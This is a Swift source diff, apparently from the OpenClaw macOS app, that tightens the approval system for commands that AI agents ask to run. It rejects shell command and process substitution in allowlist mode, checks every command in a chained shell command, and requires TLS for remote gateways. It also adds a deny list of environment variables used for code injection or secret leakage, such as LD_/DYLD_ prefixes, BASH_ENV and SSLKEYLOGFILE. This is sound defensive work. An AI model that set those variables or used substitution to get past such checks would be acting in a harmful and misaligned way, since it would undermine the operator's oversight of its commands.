ExecAllowlistEntry(
id: migrated.id,
pattern: pattern,
lastUsedAt: migrated.lastUsedAt,
lastUsedCommand: migrated.lastUsedCommand,
lastResolvedPath: normalizedResolvedPath))
case .invalid(let reason):
if dropInvalid {
rejected.append(
ExecAllowlistRejectedEntry(
id: migrated.id,
pattern: trimmedPattern,
reason: reason))
} else if reason != .empty {
normalized.append(
ExecAllowlistEntry(
id: migrated.id,
pattern: trimmedPattern,
lastUsedAt: migrated.lastUsedAt,
lastUsedCommand: migrated.lastUsedCommand,
lastResolvedPath: normalizedResolvedPath))
}
}
}
return (normalized, rejected)
}
private static func mergeAgents(
current: ExecApprovalsAgent,
legacy: ExecApprovalsAgent) -> ExecApprovalsAgent
{
let currentAllowlist = self.normalizeAllowlistEntries(current.allowlist ?? [], dropInvalid: false).entries
let legacyAllowlist = self.normalizeAllowlistEntries(legacy.allowlist ?? [], dropInvalid: false).entries
var seen = Set<String>()
var allowlist: [ExecAllowlistEntry] = []
func append(_ entry: ExecAllowlistEntry) {
@@ -536,10 +674,10 @@ enum ExecApprovalsStore {
seen.insert(key)
allowlist.append(entry)
}
for entry in current.allowlist ?? [] {
for entry in currentAllowlist {
append(entry)
}
for entry in legacy.allowlist ?? [] {
for entry in legacyAllowlist {
append(entry)
}
@@ -552,102 +690,23 @@ enum ExecApprovalsStore {
}
}
struct ExecCommandResolution: Sendable {
let rawExecutable: String
let resolvedPath: String?
let executableName: String
let cwd: String?
static func resolve(
command: [String],
rawCommand: String?,
cwd: String?,
env: [String: String]?) -> ExecCommandResolution?
{
let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if !trimmedRaw.isEmpty, let token = self.parseFirstToken(trimmedRaw) {
return self.resolveExecutable(rawExecutable: token, cwd: cwd, env: env)
}
return self.resolve(command: command, cwd: cwd, env: env)
}
static func resolve(command: [String], cwd: String?, env: [String: String]?) -> ExecCommandResolution? {
guard let raw = command.first?.trimmingCharacters(in: .whitespacesAndNewlines), !raw.isEmpty else {
return nil
}
return self.resolveExecutable(rawExecutable: raw, cwd: cwd, env: env)
}
private static func resolveExecutable(
rawExecutable: String,
cwd: String?,
env: [String: String]?) -> ExecCommandResolution?
{
let expanded = rawExecutable.hasPrefix("~") ? (rawExecutable as NSString).expandingTildeInPath : rawExecutable
let hasPathSeparator = expanded.contains("/") || expanded.contains("\\")
let resolvedPath: String? = {
if hasPathSeparator {
if expanded.hasPrefix("/") {
return expanded
}
let base = cwd?.trimmingCharacters(in: .whitespacesAndNewlines)
let root = (base?.isEmpty == false) ? base! : FileManager().currentDirectoryPath
return URL(fileURLWithPath: root).appendingPathComponent(expanded).path
}
let searchPaths = self.searchPaths(from: env)
return CommandResolver.findExecutable(named: expanded, searchPaths: searchPaths)
}()
let name = resolvedPath.map { URL(fileURLWithPath: $0).lastPathComponent } ?? expanded
return ExecCommandResolution(
rawExecutable: expanded,
resolvedPath: resolvedPath,
executableName: name,
cwd: cwd)
}
private static func parseFirstToken(_ command: String) -> String? {
let trimmed = command.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return nil }
guard let first = trimmed.first else { return nil }
if first == "\"" || first == "'" {
let rest = trimmed.dropFirst()
if let end = rest.firstIndex(of: first) {
return String(rest[..<end])
}
return String(rest)
}
return trimmed.split(whereSeparator: { $0.isWhitespace }).first.map(String.init)
}
private static func searchPaths(from env: [String: String]?) -> [String] {
let raw = env?["PATH"]
if let raw, !raw.isEmpty {
return raw.split(separator: ":").map(String.init)
}
return CommandResolver.preferredPaths()
}
}
enum ExecCommandFormatter {
static func displayString(for argv: [String]) -> String {
argv.map { arg in
let trimmed = arg.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return "\"\"" }
let needsQuotes = trimmed.contains { $0.isWhitespace || $0 == "\"" }
if !needsQuotes { return trimmed }
let escaped = trimmed.replacingOccurrences(of: "\"", with: "\\\"")
return "\"\(escaped)\""
}.joined(separator: " ")
}
static func displayString(for argv: [String], rawCommand: String?) -> String {
let trimmed = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if !trimmed.isEmpty { return trimmed }
return self.displayString(for: argv)
}
}
enum ExecApprovalHelpers {
static func validateAllowlistPattern(_ pattern: String?) -> ExecAllowlistPatternValidation {
let trimmed = pattern?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
guard !trimmed.isEmpty else { return .invalid(.empty) }
guard self.containsPathComponent(trimmed) else { return .invalid(.missingPathComponent) }
return .valid(trimmed)
}
static func isPathPattern(_ pattern: String?) -> Bool {
switch self.validateAllowlistPattern(pattern) {
case .valid:
true
case .invalid:
false
}
}
static func parseDecision(_ raw: String?) -> ExecApprovalDecision? {
let trimmed = raw?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
guard !trimmed.isEmpty else { return nil }
@@ -669,70 +728,9 @@ enum ExecApprovalHelpers {
let pattern = resolution?.resolvedPath ?? resolution?.rawExecutable ?? command.first ?? ""
return pattern.isEmpty ? nil : pattern
}
}
enum ExecAllowlistMatcher {
static func match(entries: [ExecAllowlistEntry], resolution: ExecCommandResolution?) -> ExecAllowlistEntry? {
guard let resolution, !entries.isEmpty else { return nil }
let rawExecutable = resolution.rawExecutable
let resolvedPath = resolution.resolvedPath
let executableName = resolution.executableName
for entry in entries {
let pattern = entry.pattern.trimmingCharacters(in: .whitespacesAndNewlines)
if pattern.isEmpty { continue }
let hasPath = pattern.contains("/") || pattern.contains("~") || pattern.contains("\\")
if hasPath {
let target = resolvedPath ?? rawExecutable
if self.matches(pattern: pattern, target: target) { return entry }
} else if self.matches(pattern: pattern, target: executableName) {
return entry
}
}
return nil
}
private static func matches(pattern: String, target: String) -> Bool {
let trimmed = pattern.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return false }
let expanded = trimmed.hasPrefix("~") ? (trimmed as NSString).expandingTildeInPath : trimmed
let normalizedPattern = self.normalizeMatchTarget(expanded)
let normalizedTarget = self.normalizeMatchTarget(target)
guard let regex = self.regex(for: normalizedPattern) else { return false }
let range = NSRange(location: 0, length: normalizedTarget.utf16.count)
return regex.firstMatch(in: normalizedTarget, options: [], range: range) != nil
}
private static func normalizeMatchTarget(_ value: String) -> String {
value.replacingOccurrences(of: "\\\\", with: "/").lowercased()
}
private static func regex(for pattern: String) -> NSRegularExpression? {
var regex = "^"
var idx = pattern.startIndex
while idx < pattern.endIndex {
let ch = pattern[idx]
if ch == "*" {
let next = pattern.index(after: idx)
if next < pattern.endIndex, pattern[next] == "*" {
regex += ".*"
idx = pattern.index(after: next)
} else {
regex += "[^/]*"
idx = next
}
continue
}
if ch == "?" {
regex += "."
idx = pattern.index(after: idx)
continue
}
regex += NSRegularExpression.escapedPattern(for: String(ch))
idx = pattern.index(after: idx)
}
regex += "$"
return try? NSRegularExpression(pattern: regex, options: [.caseInsensitive])
private static func containsPathComponent(_ pattern: String) -> Bool {
pattern.contains("/") || pattern.contains("~") || pattern.contains("\\")
}
}

View File

@@ -350,34 +350,7 @@ enum ExecApprovalsPromptPresenter {
@MainActor
private enum ExecHostExecutor {
private struct ExecApprovalContext {
let command: [String]
let displayCommand: String
let trimmedAgent: String?
let approvals: ExecApprovalsResolved
let security: ExecSecurity
let ask: ExecAsk
let autoAllowSkills: Bool
let env: [String: String]?
let resolution: ExecCommandResolution?
let allowlistMatch: ExecAllowlistEntry?
let skillAllow: Bool
}
private static let blockedEnvKeys: Set<String> = [
"PATH",
"NODE_OPTIONS",
"PYTHONHOME",
"PYTHONPATH",
"PERL5LIB",
"PERL5OPT",
"RUBYOPT",
]
private static let blockedEnvPrefixes: [String] = [
"DYLD_",
"LD_",
]
private typealias ExecApprovalContext = ExecApprovalEvaluation
static func handle(_ request: ExecHostRequest) async -> ExecHostResponse {
let command = request.command.map { $0.trimmingCharacters(in: .whitespacesAndNewlines) }
@@ -419,7 +392,7 @@ private enum ExecHostExecutor {
host: "node",
security: context.security.rawValue,
ask: context.ask.rawValue,
agentId: context.trimmedAgent,
agentId: context.agentId,
resolvedPath: context.resolution?.resolvedPath,
sessionKey: request.sessionKey))
@@ -440,7 +413,7 @@ private enum ExecHostExecutor {
self.persistAllowlistEntry(decision: approvalDecision, context: context)
if context.security == .allowlist,
context.allowlistMatch == nil,
!context.allowlistSatisfied,
!context.skillAllow,
!approvedByAsk
{
@@ -450,12 +423,21 @@ private enum ExecHostExecutor {
reason: "allowlist-miss")
}
if let match = context.allowlistMatch {
ExecApprovalsStore.recordAllowlistUse(
agentId: context.trimmedAgent,
pattern: match.pattern,
command: context.displayCommand,
resolvedPath: context.resolution?.resolvedPath)
if context.allowlistSatisfied {
var seenPatterns = Set<String>()
for (idx, match) in context.allowlistMatches.enumerated() {
if !seenPatterns.insert(match.pattern).inserted {
continue
}
let resolvedPath = idx < context.allowlistResolutions.count
? context.allowlistResolutions[idx].resolvedPath
: nil
ExecApprovalsStore.recordAllowlistUse(
agentId: context.agentId,
pattern: match.pattern,
command: context.displayCommand,
resolvedPath: resolvedPath)
}
}
if let errorResponse = await self.ensureScreenRecordingAccess(request.needsScreenRecording) {
@@ -470,43 +452,12 @@ private enum ExecHostExecutor {
}
private static func buildContext(request: ExecHostRequest, command: [String]) async -> ExecApprovalContext {
let displayCommand = ExecCommandFormatter.displayString(
for: command,
rawCommand: request.rawCommand)
let agentId = request.agentId?.trimmingCharacters(in: .whitespacesAndNewlines)
let trimmedAgent = (agentId?.isEmpty == false) ? agentId : nil
let approvals = ExecApprovalsStore.resolve(agentId: trimmedAgent)
let security = approvals.agent.security
let ask = approvals.agent.ask
let autoAllowSkills = approvals.agent.autoAllowSkills
let env = self.sanitizedEnv(request.env)
let resolution = ExecCommandResolution.resolve(
await ExecApprovalEvaluator.evaluate(
command: command,
rawCommand: request.rawCommand,
cwd: request.cwd,
env: env)
let allowlistMatch = security == .allowlist
? ExecAllowlistMatcher.match(entries: approvals.allowlist, resolution: resolution)
: nil
let skillAllow: Bool
if autoAllowSkills, let name = resolution?.executableName {
let bins = await SkillBinsCache.shared.currentBins()
skillAllow = bins.contains(name)
} else {
skillAllow = false
}
return ExecApprovalContext(
command: command,
displayCommand: displayCommand,
trimmedAgent: trimmedAgent,
approvals: approvals,
security: security,
ask: ask,
autoAllowSkills: autoAllowSkills,
env: env,
resolution: resolution,
allowlistMatch: allowlistMatch,
skillAllow: skillAllow)
envOverrides: request.env,
agentId: request.agentId)
}
private static func persistAllowlistEntry(
@@ -514,13 +465,18 @@ private enum ExecHostExecutor {
context: ExecApprovalContext)
{
guard decision == .allowAlways, context.security == .allowlist else { return }
guard let pattern = ExecApprovalHelpers.allowlistPattern(
command: context.command,
resolution: context.resolution)
else {
return
var seenPatterns = Set<String>()
for candidate in context.allowlistResolutions {
guard let pattern = ExecApprovalHelpers.allowlistPattern(
command: context.command,
resolution: candidate)
else {
continue
}
if seenPatterns.insert(pattern).inserted {
ExecApprovalsStore.addAllowlistEntry(agentId: context.agentId, pattern: pattern)
}
}
ExecApprovalsStore.addAllowlistEntry(agentId: context.trimmedAgent, pattern: pattern)
}
private static func ensureScreenRecordingAccess(_ needsScreenRecording: Bool?) async -> ExecHostResponse? {
@@ -579,20 +535,6 @@ private enum ExecHostExecutor {
payload: payload,
error: nil)
}
private static func sanitizedEnv(_ overrides: [String: String]?) -> [String: String]? {
guard let overrides else { return nil }
var merged = ProcessInfo.processInfo.environment
for (rawKey, value) in overrides {
let key = rawKey.trimmingCharacters(in: .whitespacesAndNewlines)
guard !key.isEmpty else { continue }
let upper = key.uppercased()
if self.blockedEnvKeys.contains(upper) { continue }
if self.blockedEnvPrefixes.contains(where: { upper.hasPrefix($0) }) { continue }
merged[key] = value
}
return merged
}
}
private final class ExecApprovalsSocketServer: @unchecked Sendable {

View File

@@ -0,0 +1,305 @@
import Foundation
struct ExecCommandResolution: Sendable {
let rawExecutable: String
let resolvedPath: String?
let executableName: String
let cwd: String?
static func resolve(
command: [String],
rawCommand: String?,
cwd: String?,
env: [String: String]?) -> ExecCommandResolution?
{
let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if !trimmedRaw.isEmpty, let token = self.parseFirstToken(trimmedRaw) {
return self.resolveExecutable(rawExecutable: token, cwd: cwd, env: env)
}
return self.resolve(command: command, cwd: cwd, env: env)
}
static func resolveForAllowlist(
command: [String],
rawCommand: String?,
cwd: String?,
env: [String: String]?) -> [ExecCommandResolution]
{
let shell = self.extractShellCommandFromArgv(command: command, rawCommand: rawCommand)
if shell.isWrapper {
guard let shellCommand = shell.command,
let segments = self.splitShellCommandChain(shellCommand)
else {
// Fail closed: if we cannot safely parse a shell wrapper payload,
// treat this as an allowlist miss and require approval.
return []
}
var resolutions: [ExecCommandResolution] = []
resolutions.reserveCapacity(segments.count)
for segment in segments {
guard let token = self.parseFirstToken(segment),
let resolution = self.resolveExecutable(rawExecutable: token, cwd: cwd, env: env)
else {
return []
}
resolutions.append(resolution)
}
return resolutions
}
guard let resolution = self.resolve(command: command, rawCommand: rawCommand, cwd: cwd, env: env) else {
return []
}
return [resolution]
}
static func resolve(command: [String], cwd: String?, env: [String: String]?) -> ExecCommandResolution? {
guard let raw = command.first?.trimmingCharacters(in: .whitespacesAndNewlines), !raw.isEmpty else {
return nil
}
return self.resolveExecutable(rawExecutable: raw, cwd: cwd, env: env)
}
private static func resolveExecutable(
rawExecutable: String,
cwd: String?,
env: [String: String]?) -> ExecCommandResolution?
{
let expanded = rawExecutable.hasPrefix("~") ? (rawExecutable as NSString).expandingTildeInPath : rawExecutable
let hasPathSeparator = expanded.contains("/") || expanded.contains("\\")
let resolvedPath: String? = {
if hasPathSeparator {
if expanded.hasPrefix("/") {
return expanded
}
let base = cwd?.trimmingCharacters(in: .whitespacesAndNewlines)
let root = (base?.isEmpty == false) ? base! : FileManager().currentDirectoryPath
return URL(fileURLWithPath: root).appendingPathComponent(expanded).path
}
let searchPaths = self.searchPaths(from: env)
return CommandResolver.findExecutable(named: expanded, searchPaths: searchPaths)
}()
let name = resolvedPath.map { URL(fileURLWithPath: $0).lastPathComponent } ?? expanded
return ExecCommandResolution(
rawExecutable: expanded,
resolvedPath: resolvedPath,
executableName: name,
cwd: cwd)
}
private static func parseFirstToken(_ command: String) -> String? {
let trimmed = command.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return nil }
guard let first = trimmed.first else { return nil }
if first == "\"" || first == "'" {
let rest = trimmed.dropFirst()
if let end = rest.firstIndex(of: first) {
return String(rest[..<end])
}
return String(rest)
}
return trimmed.split(whereSeparator: { $0.isWhitespace }).first.map(String.init)
}
private static func basenameLower(_ token: String) -> String {
let trimmed = token.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return "" }
let normalized = trimmed.replacingOccurrences(of: "\\", with: "/")
return normalized.split(separator: "/").last.map { String($0).lowercased() } ?? normalized.lowercased()
}
private static func extractShellCommandFromArgv(
command: [String],
rawCommand: String?) -> (isWrapper: Bool, command: String?)
{
guard let token0 = command.first?.trimmingCharacters(in: .whitespacesAndNewlines), !token0.isEmpty else {
return (false, nil)
}
let base0 = self.basenameLower(token0)
let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let preferredRaw = trimmedRaw.isEmpty ? nil : trimmedRaw
if ["sh", "bash", "zsh", "dash", "ksh"].contains(base0) {
let flag = command.count > 1 ? command[1].trimmingCharacters(in: .whitespacesAndNewlines) : ""
guard flag == "-lc" || flag == "-c" else { return (false, nil) }
let payload = command.count > 2 ? command[2].trimmingCharacters(in: .whitespacesAndNewlines) : ""
let normalized = preferredRaw ?? (payload.isEmpty ? nil : payload)
return (true, normalized)
}
if base0 == "cmd.exe" || base0 == "cmd" {
guard let idx = command
.firstIndex(where: { $0.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() == "/c" })
else {
return (false, nil)
}
let tail = command.suffix(from: command.index(after: idx)).joined(separator: " ")
let payload = tail.trimmingCharacters(in: .whitespacesAndNewlines)
let normalized = preferredRaw ?? (payload.isEmpty ? nil : payload)
return (true, normalized)
}
return (false, nil)
}
private enum ShellTokenContext {
case unquoted
case doubleQuoted
}
private struct ShellFailClosedRule {
let token: Character
let next: Character?
}
private static let shellFailClosedRules: [ShellTokenContext: [ShellFailClosedRule]] = [
.unquoted: [
ShellFailClosedRule(token: "`", next: nil),
ShellFailClosedRule(token: "$", next: "("),
ShellFailClosedRule(token: "<", next: "("),
ShellFailClosedRule(token: ">", next: "("),
],
.doubleQuoted: [
ShellFailClosedRule(token: "`", next: nil),
ShellFailClosedRule(token: "$", next: "("),
],
]
private static func splitShellCommandChain(_ command: String) -> [String]? {
let trimmed = command.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return nil }
var segments: [String] = []
var current = ""
var inSingle = false
var inDouble = false
var escaped = false
let chars = Array(trimmed)
var idx = 0
func appendCurrent() -> Bool {
let segment = current.trimmingCharacters(in: .whitespacesAndNewlines)
guard !segment.isEmpty else { return false }
segments.append(segment)
current.removeAll(keepingCapacity: true)
return true
}
while idx < chars.count {
let ch = chars[idx]
let next: Character? = idx + 1 < chars.count ? chars[idx + 1] : nil
if escaped {
current.append(ch)
escaped = false
idx += 1
continue
}
if ch == "\\", !inSingle {
current.append(ch)
escaped = true
idx += 1
continue
}
if ch == "'", !inDouble {
inSingle.toggle()
current.append(ch)
idx += 1
continue
}
if ch == "\"", !inSingle {
inDouble.toggle()
current.append(ch)
idx += 1
continue
}
if !inSingle, self.shouldFailClosedForShell(ch: ch, next: next, inDouble: inDouble) {
// Fail closed on command/process substitution in allowlist mode,
// including command substitution inside double-quoted shell strings.
return nil
}
if !inSingle, !inDouble {
let prev: Character? = idx > 0 ? chars[idx - 1] : nil
if let delimiterStep = self.chainDelimiterStep(ch: ch, prev: prev, next: next) {
guard appendCurrent() else { return nil }
idx += delimiterStep
continue
}
}
current.append(ch)
idx += 1
}
if escaped || inSingle || inDouble { return nil }
guard appendCurrent() else { return nil }
return segments
}
private static func shouldFailClosedForShell(ch: Character, next: Character?, inDouble: Bool) -> Bool {
let context: ShellTokenContext = inDouble ? .doubleQuoted : .unquoted
guard let rules = self.shellFailClosedRules[context] else {
return false
}
for rule in rules {
if ch == rule.token, rule.next == nil || next == rule.next {
return true
}
}
return false
}
private static func chainDelimiterStep(ch: Character, prev: Character?, next: Character?) -> Int? {
if ch == ";" || ch == "\n" {
return 1
}
if ch == "&" {
if next == "&" {
return 2
}
// Keep fd redirections like 2>&1 or &>file intact.
let prevIsRedirect = prev == ">"
let nextIsRedirect = next == ">"
return (!prevIsRedirect && !nextIsRedirect) ? 1 : nil
}
if ch == "|" {
if next == "|" || next == "&" {
return 2
}
return 1
}
return nil
}
private static func searchPaths(from env: [String: String]?) -> [String] {
let raw = env?["PATH"]
if let raw, !raw.isEmpty {
return raw.split(separator: ":").map(String.init)
}
return CommandResolver.preferredPaths()
}
}
enum ExecCommandFormatter {
static func displayString(for argv: [String]) -> String {
argv.map { arg in
let trimmed = arg.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return "\"\"" }
let needsQuotes = trimmed.contains { $0.isWhitespace || $0 == "\"" }
if !needsQuotes { return trimmed }
let escaped = trimmed.replacingOccurrences(of: "\"", with: "\\\"")
return "\"\(escaped)\""
}.joined(separator: " ")
}
static func displayString(for argv: [String], rawCommand: String?) -> String {
let trimmed = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if !trimmed.isEmpty { return trimmed }
return self.displayString(for: argv)
}
}

View File

@@ -2,9 +2,34 @@ import Foundation
import OpenClawDiscovery
enum GatewayDiscoveryHelpers {
static func sshTarget(for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String? {
let host = self.sanitizedTailnetHost(gateway.tailnetDns) ?? gateway.lanHost
static func resolvedServiceHost(
for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String?
{
self.resolvedServiceHost(gateway.serviceHost)
}
static func resolvedServiceHost(_ host: String?) -> String? {
guard let host = self.trimmed(host), !host.isEmpty else { return nil }
return host
}
static func serviceEndpoint(
for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> (host: String, port: Int)?
{
self.serviceEndpoint(serviceHost: gateway.serviceHost, servicePort: gateway.servicePort)
}
static func serviceEndpoint(
serviceHost: String?,
servicePort: Int?) -> (host: String, port: Int)?
{
guard let host = self.resolvedServiceHost(serviceHost) else { return nil }
guard let port = servicePort, port > 0, port <= 65535 else { return nil }
return (host, port)
}
static func sshTarget(for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String? {
guard let host = self.resolvedServiceHost(for: gateway) else { return nil }
let user = NSUserName()
var target = "\(user)@\(host)"
if gateway.sshPort != 22 {
@@ -16,42 +41,37 @@ enum GatewayDiscoveryHelpers {
static func directUrl(for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String? {
self.directGatewayUrl(
serviceHost: gateway.serviceHost,
servicePort: gateway.servicePort,
lanHost: gateway.lanHost,
gatewayPort: gateway.gatewayPort)
servicePort: gateway.servicePort)
}
static func directGatewayUrl(
serviceHost: String?,
servicePort: Int?,
lanHost: String?,
gatewayPort: Int?) -> String?
servicePort: Int?) -> String?
{
// Security: do not route using unauthenticated TXT hints (tailnetDns/lanHost/gatewayPort).
// Prefer the resolved service endpoint (SRV + A/AAAA).
if let host = self.trimmed(serviceHost), !host.isEmpty,
let port = servicePort, port > 0
{
let scheme = port == 443 ? "wss" : "ws"
let portSuffix = port == 443 ? "" : ":\(port)"
return "\(scheme)://\(host)\(portSuffix)"
}
// Legacy fallback (best-effort): keep existing behavior when we couldn't resolve SRV.
guard let lanHost = self.trimmed(lanHost), !lanHost.isEmpty else { return nil }
let port = gatewayPort ?? 18789
return "ws://\(lanHost):\(port)"
}
static func sanitizedTailnetHost(_ host: String?) -> String? {
guard let host = self.trimmed(host), !host.isEmpty else { return nil }
if host.hasSuffix(".internal.") || host.hasSuffix(".internal") {
guard let endpoint = self.serviceEndpoint(serviceHost: serviceHost, servicePort: servicePort) else {
return nil
}
return host
// Security: for non-loopback hosts, force TLS to avoid plaintext credential/session leakage.
let scheme = self.isLoopbackHost(endpoint.host) ? "ws" : "wss"
let portSuffix = endpoint.port == 443 ? "" : ":\(endpoint.port)"
return "\(scheme)://\(endpoint.host)\(portSuffix)"
}
private static func trimmed(_ value: String?) -> String? {
value?.trimmingCharacters(in: .whitespacesAndNewlines)
}
private static func isLoopbackHost(_ rawHost: String) -> Bool {
let host = rawHost.trimmingCharacters(in: .whitespacesAndNewlines).lowercased()
guard !host.isEmpty else { return false }
if host == "localhost" || host == "::1" || host == "0:0:0:0:0:0:0:1" {
return true
}
if host.hasPrefix("::ffff:127.") {
return true
}
return host.hasPrefix("127.")
}
}

View File

@@ -303,7 +303,9 @@ struct GeneralSettings: View {
.disabled(self.remoteStatus == .checking || self.state.remoteUrl
.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty)
}
Text("Direct mode requires a ws:// or wss:// URL (Tailscale Serve uses wss://<magicdns>).")
Text(
"Direct mode requires wss:// for remote hosts. ws:// is only allowed for localhost/127.0.0.1."
)
.font(.caption)
.foregroundStyle(.secondary)
.padding(.leading, self.remoteLabelWidth + 10)
@@ -546,7 +548,9 @@ extension GeneralSettings {
return
}
guard Self.isValidWsUrl(trimmedUrl) else {
self.remoteStatus = .failed("Gateway URL must start with ws:// or wss://")
self.remoteStatus = .failed(
"Gateway URL must use wss:// for remote hosts (ws:// only for localhost)"
)
return
}
} else {
@@ -603,11 +607,7 @@ extension GeneralSettings {
}
private static func isValidWsUrl(_ raw: String) -> Bool {
guard let url = URL(string: raw.trimmingCharacters(in: .whitespacesAndNewlines)) else { return false }
let scheme = url.scheme?.lowercased() ?? ""
guard scheme == "ws" || scheme == "wss" else { return false }
let host = url.host?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
return !host.isEmpty
GatewayRemoteConfig.normalizeGatewayUrl(raw) != nil
}
private static func sshCheckCommand(target: String, identity: String) -> [String]? {
@@ -675,22 +675,17 @@ extension GeneralSettings {
private func applyDiscoveredGateway(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) {
MacNodeModeCoordinator.shared.setPreferredGatewayStableID(gateway.stableID)
let host = gateway.tailnetDns ?? gateway.lanHost
guard let host else { return }
let user = NSUserName()
if self.state.remoteTransport == .direct {
if let url = GatewayDiscoveryHelpers.directUrl(for: gateway) {
self.state.remoteUrl = url
}
self.state.remoteUrl = GatewayDiscoveryHelpers.directUrl(for: gateway) ?? ""
} else {
self.state.remoteTarget = GatewayDiscoveryModel.buildSSHTarget(
user: user,
host: host,
port: gateway.sshPort)
self.state.remoteCliPath = gateway.cliPath ?? ""
self.state.remoteTarget = GatewayDiscoveryHelpers.sshTarget(for: gateway) ?? ""
}
if let endpoint = GatewayDiscoveryHelpers.serviceEndpoint(for: gateway) {
OpenClawConfigFile.setRemoteGatewayUrl(
host: gateway.serviceHost ?? host,
port: gateway.servicePort ?? gateway.gatewayPort)
host: endpoint.host,
port: endpoint.port)
} else {
OpenClawConfigFile.clearRemoteGatewayUrl()
}
}
}

View File

@@ -0,0 +1,57 @@
import Foundation
enum HostEnvSanitizer {
/// Keep in sync with src/infra/host-env-security-policy.json.
/// Parity is validated by src/infra/host-env-security.policy-parity.test.ts.
private static let blockedKeys: Set<String> = [
"NODE_OPTIONS",
"NODE_PATH",
"PYTHONHOME",
"PYTHONPATH",
"PERL5LIB",
"PERL5OPT",
"RUBYLIB",
"RUBYOPT",
"BASH_ENV",
"ENV",
"SHELL",
"GCONV_PATH",
"IFS",
"SSLKEYLOGFILE",
]
private static let blockedPrefixes: [String] = [
"DYLD_",
"LD_",
"BASH_FUNC_",
]
private static func isBlocked(_ upperKey: String) -> Bool {
if self.blockedKeys.contains(upperKey) { return true }
return self.blockedPrefixes.contains(where: { upperKey.hasPrefix($0) })
}
static func sanitize(overrides: [String: String]?) -> [String: String] {
var merged: [String: String] = [:]
for (rawKey, value) in ProcessInfo.processInfo.environment {
let key = rawKey.trimmingCharacters(in: .whitespacesAndNewlines)
guard !key.isEmpty else { continue }
let upper = key.uppercased()
if self.isBlocked(upper) { continue }
merged[key] = value
}
guard let overrides else { return merged }
for (rawKey, value) in overrides {
let key = rawKey.trimmingCharacters(in: .whitespacesAndNewlines)
guard !key.isEmpty else { continue }
let upper = key.uppercased()
// PATH is part of the security boundary (command resolution + safe-bin checks). Never
// allow request-scoped PATH overrides from agents/gateways.
if upper == "PATH" { continue }
if self.isBlocked(upper) { continue }
merged[key] = value
}
return merged
}
}

View File

@@ -441,43 +441,25 @@ actor MacNodeRuntime {
guard !command.isEmpty else {
return Self.errorResponse(req, code: .invalidRequest, message: "INVALID_REQUEST: command required")
}
let displayCommand = ExecCommandFormatter.displayString(for: command, rawCommand: params.rawCommand)
let trimmedAgent = params.agentId?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let agentId = trimmedAgent.isEmpty ? nil : trimmedAgent
let approvals = ExecApprovalsStore.resolve(agentId: agentId)
let security = approvals.agent.security
let ask = approvals.agent.ask
let autoAllowSkills = approvals.agent.autoAllowSkills
let sessionKey = (params.sessionKey?.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty == false)
? params.sessionKey!.trimmingCharacters(in: .whitespacesAndNewlines)
: self.mainSessionKey
let runId = UUID().uuidString
let env = Self.sanitizedEnv(params.env)
let resolution = ExecCommandResolution.resolve(
let evaluation = await ExecApprovalEvaluator.evaluate(
command: command,
rawCommand: params.rawCommand,
cwd: params.cwd,
env: env)
let allowlistMatch = security == .allowlist
? ExecAllowlistMatcher.match(entries: approvals.allowlist, resolution: resolution)
: nil
let skillAllow: Bool
if autoAllowSkills, let name = resolution?.executableName {
let bins = await SkillBinsCache.shared.currentBins()
skillAllow = bins.contains(name)
} else {
skillAllow = false
}
envOverrides: params.env,
agentId: params.agentId)
if security == .deny {
if evaluation.security == .deny {
await self.emitExecEvent(
"exec.denied",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
command: evaluation.displayCommand,
reason: "security=deny"))
return Self.errorResponse(
req,
@@ -489,32 +471,33 @@ actor MacNodeRuntime {
req: req,
params: params,
context: ExecRunContext(
displayCommand: displayCommand,
security: security,
ask: ask,
agentId: agentId,
resolution: resolution,
allowlistMatch: allowlistMatch,
skillAllow: skillAllow,
displayCommand: evaluation.displayCommand,
security: evaluation.security,
ask: evaluation.ask,
agentId: evaluation.agentId,
resolution: evaluation.resolution,
allowlistMatch: evaluation.allowlistMatch,
skillAllow: evaluation.skillAllow,
sessionKey: sessionKey,
runId: runId))
if let response = approval.response { return response }
let approvedByAsk = approval.approvedByAsk
let persistAllowlist = approval.persistAllowlist
if persistAllowlist, security == .allowlist,
let pattern = ExecApprovalHelpers.allowlistPattern(command: command, resolution: resolution)
{
ExecApprovalsStore.addAllowlistEntry(agentId: agentId, pattern: pattern)
}
self.persistAllowlistPatterns(
persistAllowlist: persistAllowlist,
security: evaluation.security,
agentId: evaluation.agentId,
command: command,
allowlistResolutions: evaluation.allowlistResolutions)
if security == .allowlist, allowlistMatch == nil, !skillAllow, !approvedByAsk {
if evaluation.security == .allowlist, !evaluation.allowlistSatisfied, !evaluation.skillAllow, !approvedByAsk {
await self.emitExecEvent(
"exec.denied",
payload: ExecEventPayload(
sessionKey: sessionKey,
runId: runId,
host: "node",
command: displayCommand,
command: evaluation.displayCommand,
reason: "allowlist-miss"))
return Self.errorResponse(
req,
@@ -522,79 +505,32 @@ actor MacNodeRuntime {
message: "SYSTEM_RUN_DENIED: allowlist miss")
}
